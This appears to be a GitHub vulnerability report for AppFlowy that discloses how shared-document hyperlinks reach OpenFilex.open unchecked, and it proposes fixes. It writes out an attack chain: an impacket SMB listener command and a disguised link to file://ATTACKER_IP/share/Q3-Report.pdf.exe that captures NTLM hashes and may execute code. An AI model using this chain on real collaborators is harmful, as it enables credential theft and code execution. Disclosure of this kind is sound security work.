Skip to content

[ Vulnerability ] CVE-2026-52097 document links passed to OpenFilex.open (NTLM leak / code execution) #9008

Description

@breacharc-team

Bug Description

In url_launcher.dart, any link whose decoded form matches your local-path pattern is routed to _afLaunchLocalUri, which calls OpenFilex.open on it. OpenFilex.open is "open this path with the OS default application," so for an executable it runs it, and for a UNC path it reaches out over SMB. There is no scheme allowlist, no host check, and no confirmation prompt. Because document hyperlinks are stored verbatim and rendered to every collaborator, one collaborator can plant a link that fires on another collaborator's machine when clicked.

Vulnerable code (current main)

frontend/appflowy_flutter/lib/core/helpers/url_launcher.dart, decision branch (around line 31):

final decodedUrl = Uri.decodeComponent(url);
if (localPathRegex.hasMatch(decodedUrl)) {
    return _afLaunchLocalUri(uri, ...);
}

Same file, the sink (around line 130):

final decodedUrl = Uri.decodeComponent(uri.toString());
var result = await OpenFilex.open(decodedUrl);              // no validation, no confirmation
if (result.type != ResultType.done) {
    result = await OpenFilex.open(Directory(decodedUrl).parent.path);
}

frontend/appflowy_flutter/lib/shared/patterns/common_patterns.dart (around line 49):

const _localPathPattern = r'^(file:\/\/|\/|\\|[a-zA-Z]:[/\\]|\.{1,2}[/\\])';

file://, UNC (file://host/share/...), drive paths and Unix paths all match, so a collaborator-supplied link reaches OpenFilex.open.

How to Reproduce

Part 1: benign proof (any machine, safe to run)

  1. Open any document and insert a hyperlink. Display text can be anything, target is a local path:
    • Windows: file:///C:/Windows/System32/calc.exe
    • Linux/macOS: file:///etc/hostname (or any local file)
  2. Click the link.
  3. Result: on Windows, Calculator launches. On Linux/macOS, the file opens in its default app. No prompt, just a success toast. This alone proves the client executes/opens arbitrary local targets from a document link. (Screenshot of Calculator launching from the clicked link attached.)

Part 2: the real attack (collaborator to victim, Windows)

This is the weaponized chain, included so you can see the full impact. Please treat it as sensitive.

  1. Attacker stands up an SMB listener on a host they control, for example with impacket:

    sudo impacket-smbserver share ./loot -smb2support
    

    (or Responder for hash capture). Optionally place a payload named to look benign, e.g. loot/Q3-Report.pdf.exe.

  2. In a document shared with the victim, the attacker (any collaborator with edit rights) inserts a hyperlink:

    • Display text: Q3 Report
    • Target: file://ATTACKER_IP/share/Q3-Report.pdf.exe
  3. The victim opens the shared document on the Windows desktop client and clicks "Q3 Report."

  4. AppFlowy matches the file:// pattern and calls OpenFilex.open on the UNC path. The Windows SMB redirector connects to ATTACKER_IP and authenticates, which hands the attacker the victim's NTLMv2 hash (captured on the SMB server / Responder). This step is reliable and needs no further interaction. Depending on the victim's policy and the target file type, the referenced executable is then launched in the victim's user context.

Net result: reliable NTLM credential theft (usable for relay or offline cracking) and, in many configurations, code execution on the victim's machine, all from clicking a link in a shared document.

Expected Behavior

  • Reliable: NTLMv2 hash disclosure to an attacker-controlled host.
  • Conditional: code execution in the victim's user context via UNC executables or scriptable file types, subject to OS handler and policy.
  • Reachable by the lowest-privileged collaborator on any shared document; the victim only has to click.

Operating System

Windows

AppFlowy Version(s)

AppFlowy (v0.11.8)

Screenshots

No response

Additional Context

We'd rate it High, CVSS v3.1 around 8.0 (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H). It's the same class fixed previously in several desktop editors and chat clients. Affected: v0.11.8 and current main.

Suggested fix

  1. Don't route document hyperlinks to OpenFilex.open at all. Remove the file:// / local-path branch from afLaunchUri so document links are never auto-opened as local files. Users can still copy a path manually if they genuinely want to open one.
  2. If local-file opening has to stay for some flow, reject file:///... (UNC) outright and require a confirmation dialog that shows the full resolved path before opening.
  3. Strip or quarantine file: links at the document render layer, the same way javascript: is handled.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions